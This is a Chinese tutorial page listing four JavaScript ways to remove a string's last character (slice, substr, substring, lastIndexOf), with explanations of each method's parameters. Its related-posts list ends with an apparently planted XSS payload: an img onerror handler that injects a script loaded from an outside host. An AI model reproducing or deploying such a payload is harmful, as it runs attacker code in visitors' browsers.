js删除字符串最后一个字符方法总汇
需求:
去掉js字符串末尾的标点符号,比如原字符串:
csdn.net!
目标字符串:
csdn.net
解决方案:
方法一:
str.slice(0,str.length-1);
方法二:
str = str.substr(0, str.length - 1);
方法三:
str = str.substring(0, str.length - 1);
方法四:
str = str.substring(0, str.lastIndexOf('!'));
lastIndexOf的结果是该字符的下标。下标从0开始。
方案说明:
方式一:
stringObject.slice(start,end)
start : 要抽取的片断的起始下标。如果是负数,则该参数规定的是从字符串的尾部开始算起的位置。也就是说,-1 指字符串的最后一个字符
end:要抽取的片段的结尾的下标。若未指定此参数,则要提取的子串包括 start 到原字符串结尾的字符串。如果该参数是负数,那么它规定的是从字符串的尾部开始算起的位置
方式二:
stringObject.substr(start,length)
start : 必需。要抽取的子串的起始下标。必须是数值。如果是负数,那么该参数声明从字符串的尾部开始算起的位置。也就是说,-1 指字符串中最后一个字符,-2 指倒数第二个字符,以此类推。
length : 可选。子串中的字符数。必须是数值。如果省略了该参数,那么返回从 stringObject 的开始位置到结尾的字串。
方式三和四:
stringObject.substring(start,stop)
与 slice() 和 substr() 方法不同的是,substring() 不接受负的参数
start : 必需。一个非负的整数,规定要提取的子串的第一个字符在 stringObject 中的位置
stop : 可选。一个非负的整数,比要提取的子串的最后一个字符在 stringObject 中的位置多 1。
如果省略该参数,那么返回的子串会一直到字符串的结尾。
js删除字符串最后一个字符方法总汇相关推荐
- python怎么删除字符串最后一个字符?
python删除字符串最后一个字符的方法: 1.使用strip()方法删除最后一个字符 Python strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列. strip() ...
- js删除字符串中指定字符
删除字符串中指定字符 js方法删除指定字符:replace(); let JsonData = {validBegNm:"2022-06-02" }; JsonData.valid ...
- 删除字符串最后一个字符的几种方法
2019独角兽企业重金招聘Python工程师标准>>> 偶然看到的,记录一下,以免忘记 字符串:string s = "1,2,3,4,5," 目标:删除最后一个 ...
- C#删除字符串最后一个字符的几种方法
---恢复内容开始--- 字符串:string s = "1,2,3,4,5," 目标:删除最后一个 "," 方法: 1.用的最多的是Substring,这个也 ...
- js获取字符串最后一个字符代码
方法一:运用String对象下的charAt方法 charAt() 方法可返回指定位置的字符. 代码如下 复制代码 str.charAt(str.length – 1) 请注意,JavaScript ...
- java删除字符串最后一个字符
substring方法 返回此字符串的子字符串.子字符串从指定的beginIndex开始并延伸到索引endIndex - 1 处的字符.因此子字符串的长度是endIndex-beginIndex. & ...
- jquery 删除字符串最后一个字符的方法
字符串:var s = "1,2,3,4,5," 目标:删除最后一个 "," 方法: s=s.substring(0,s.Length-1): 字符串:var ...
- js 获取字符串最后一个字符
1.charAt() str.charAt(str.length-1) 2.substr() str.substr(str.length-1,1) 3.split() var str = str.sp ...
- JS删除String里某个字符的方法
关于JS删除String里的字符的方法,一般使用replace()方法.但是这个方法只会删除一次,如果需要将string里的所以字符都删除就要用到正则. 1 2 3 4 var str = " ...
最新文章
- 逻辑斯蒂回归(Logistics Regression)
- python日期函数引用_Python pandas.to_datetime函数方法的使用
- matlab二重定积分_怎样用matlab求二重积分?
- 从零点五开始用Unity做半个2D战棋小游戏(六)
- Careercup - Microsoft面试题 - 5428361417457664
- dataset__getitem___【小白学PyTorch】3.浅谈Dataset和Dataloader
- 初识生成器与生成器表达式 Day12
- 小型团队快速开发方法
- javascript中定时器interval的使用
- freebsd 6.2 安装配置笔记[转]
- 如何让远程数据库中的1张表导入到本地数据库中
- 密歇根州立大学联合领英提出基于AutoML的Embedding框架AutoDim
- 【Three.js】十二、three.js摄像机控件
- 自适应布局-使用css3函数clac()
- 哪些股票自动交易接口好用呢?
- 神经网络模型-ART 自适应共振网络
- 0-100数字播报语音包
- Matlab:向饼图添加图例
- BLDC电机是如何旋转的?
- 首款超小体积、免插卡、蓝牙配置的新款4G DTU来了!
热门文章
- java获取f5服务器真实ip_F5中源地址转换(AutoMap)模式下后端服务器获取客户端真正的IP地址...
- Linux查找大文件的方法
- 57 元组和列表的区别
- Socket到底是什么?
- 电子专业常用电子网站
- 2018计算机模拟一级b考试试题,一级结构工程师2018年考试《计算机基础》模拟试题(一)...
- 进程通信(操作系统10)
- 汉字版乘法口诀表c语言,九九乘法口诀表(汉字版)
- img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://xssc.cc/x';
- android 开发工具历程_Android app应用软件开发的艰辛历程